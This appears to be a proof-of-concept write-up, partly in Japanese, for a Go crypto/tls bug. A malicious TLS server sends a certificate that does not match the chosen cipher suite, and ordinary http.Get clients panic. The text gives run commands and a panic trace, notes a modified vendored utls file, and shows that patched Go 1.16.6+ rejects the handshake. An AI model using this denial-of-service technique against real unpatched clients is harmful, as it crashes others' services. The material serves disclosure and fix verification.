# Run the malicious TLS server
go run main.go -mode server
# Run a normal `http.Get` client call against the server which panics
go run main.go -mode client
./vendor/github.com/refraction-networking/utls/handshake_server.go に、一致しない証明書/暗号方式で悪意のあるハンドシェイクを送信できるようにするための軽微な変更が加えられています。
実行結果は次のようになります:
$ go run main.go -mode client
panic: interface conversion: interface {} is *ecdsa.PublicKey, not *rsa.PublicKey
goroutine 7 [running]:
crypto/tls.rsaKeyAgreement.generateClientKeyExchange(0xc000001c80, 0xc00014a000, 0xc000130580, 0x0, 0x0, 0x4, 0x6e9da0, 0x7fe73e42e201, 0xc00001c758)
/usr/local/go/src/crypto/tls/key_agreement.go:70 +0x3a6
crypto/tls.(*clientHandshakeState).doFullHandshake(0xc00015fd48, 0xc00001a380, 0x31)
/usr/local/go/src/crypto/tls/handshake_client.go:574 +0x5e9
crypto/tls.(*clientHandshakeState).handshake(0xc00015fd48, 0xc00001c418, 0x4)
/usr/local/go/src/crypto/tls/handshake_client.go:421 +0x566
crypto/tls.(*Conn).clientHandshake(0xc00007f180, 0x0, 0x0)
/usr/local/go/src/crypto/tls/handshake_client.go:220 +0x754
crypto/tls.(*Conn).Handshake(0xc00007f180, 0x0, 0x0)
/usr/local/go/src/crypto/tls/conn.go:1391 +0xc9
net/http.(*persistConn).addTLS.func2(0x0, 0xc00007f180, 0x0, 0xc0000624e0)
/usr/local/go/src/net/http/transport.go:1530 +0x45
created by net/http.(*persistConn).addTLS
/usr/local/go/src/net/http/transport.go:1526 +0x1f6
exit status 2
パッチが適用された Go（1.16.6+）ではクラッシュしません:
$ go run main.go -mode client
2021/07/13 06:13:50 <nil> Get "https://127.0.0.1:8443/": tls: server certificate contains incorrect key type for selected ciphersuite